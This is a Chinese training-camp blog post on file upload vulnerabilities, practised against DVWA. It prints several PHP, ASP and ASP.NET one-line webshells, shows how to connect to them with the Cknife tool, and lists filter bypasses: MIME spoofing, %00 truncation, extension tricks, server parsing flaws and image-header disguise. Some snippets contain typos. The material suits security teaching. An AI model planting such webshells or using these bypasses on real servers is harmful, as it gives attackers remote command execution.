Fork me on GitHub

集训第六天:文件上传漏洞

韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。

文件上传漏洞

上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力

木马

根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马

PHP一句话木马:

<?php ehco shell_exec($_GET[‘a’]); ?>

<?php ehco shell_exec($_POST[‘a’]); ?>

<?php @eval($_POST[‘a’]); ?>

ASP一句话木马:

<%eval request(“Cknife”)%>

ASP.NET一句话木马:

<%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>

shell_exec()

通过环境执行命令,并且将完整的输出以字符串的方式返回

eval()

把字符串作为PHP代码执行执行a接收到的内容

Cknife(菜刀)

超级强大的网站管理工,分为客户端和代码两部分

只要将那简短的一句话代码放到网站上去就可以取得网站的权限

运行环境:安装了JRE1.7+环境的所有操作系统

主要功能:文件管理、虚拟终端、数据库管理

DVWA’s File Upload

low level的测试一下,源码中没有对任何文件格式进行过滤:

写出一句话木马

用菜刀连接的一句话木马:

<?php @eval($_POST[‘a’]; ?>

直接在网页下通过GET的一句话木马:

<?php echo shell_exec($_GET[‘a’]); ?>

在网页下用hackbar通过POST的一句话木马:

<?php echo shell_exec($_POST[‘a’]); ?>

上传一句话木马直接在网页查到文件

get

post

Cknife连接

连接后可以得到目标服务器下所有文件

源码:

<?php
if (isset($_POST[‘Upload’])) {

    $target_path = 
    DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
    //上传路径为../../hackable/uploads/
    $target_path = $target_path . basename( $_FILES['uploaded']['name']);
    //上传路径加上上传的文件名
    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
     //对是否上传成功做出判断,因此所有格式的文件都能上传
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';
      } else {
        echo '<pre>';
        echo $target_path . ' succesfully uploaded!';
        echo '</pre>';
    }
}

?>

文件上传漏洞检测

客户端javascript检测:通常在本地检测文件的扩展名

服务端MIME类型检测:通常检测的是Content-Type内容

服务端目录路径检测:通常根path参数相关的内容

服务端文件扩展名检测:通常检测跟文件extension相关的内容

服务端文件内容检测:检测文件内容是否合法或含有恶意代码

客户端javascript检测

在客户端使用js对不合法图片进行检查

绕过:

禁用页面js

先把文件改成符合条件的文件格式上传,在抓包,修改文件的后缀名

服务端检测绕过(MIME类型检测)

通过判断$_FILES[‘userfile’][‘type’]!=”imgae/gif”来保证上传的文件类型为gif

绕过:通过burp抓包,将原来的Content-Type类型改为符合要求的类型

Content-Type: application/octet-stream

application/octet-stream即为php文件的文件类型格式

服务端目录路径检测

上传路径为“/image/20160704”时,可以通过修改为“image/20160704/eval.php%00filename.gif”

通过%00截断最终导致存储的文件名为eval.php

服务端文件扩展名检测

分为黑名单检测和白名单检测

黑名单检测

接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传

绕过:

后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名“evil.php”改“evil.Php”

名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等

特殊文件名绕过(只适用windows,将文件名改为“evil.php.”或“evil.php”(注意这里有一个空格)。在windows下,不允许这样的命 名,所以会将.和空格自动去掉)。

0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。例如:“1.php%00.jpg”,验证扩展名是“.jpg”,但写入的时候是“1.php”文件

白名单检测

接收上传的文件做扩展名匹配,匹配上的白名单中的扩展名的文件才能上传

绕过:

0x00阶段绕过

解析漏洞绕过:(1)apache解析文件名是从右到左识别扩展名,如“eval.php.jpg”,文件为php文件,不能解析jpg会向前解析php

(2)IIS6.0目录名包含“.asp、.asa、.cer”的话,则该目录下的所有文件都将按照asp解析。

(3)IIS6.0不解析;后面的,所以提交“evil.asp;.html”解析为asp类型

(4)Nginx解析漏洞:将php文件换成其他可以通过的文件后缀,访问的时候在后面加上“eval.php.jpg”,如“evil.jpg/.php”,“evil.jpg”会解析为php的格式

服务端文件内容检测

图像类文件内容检测

文件幻数检测(图片头格式检测):

(1)jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46

(2)gif内容头value= 47 49 46 38 39 61

(3)png内容头value= 89 50 4E 47

绕过:在文件头后加上一句话木马就能绕过

本站访客数: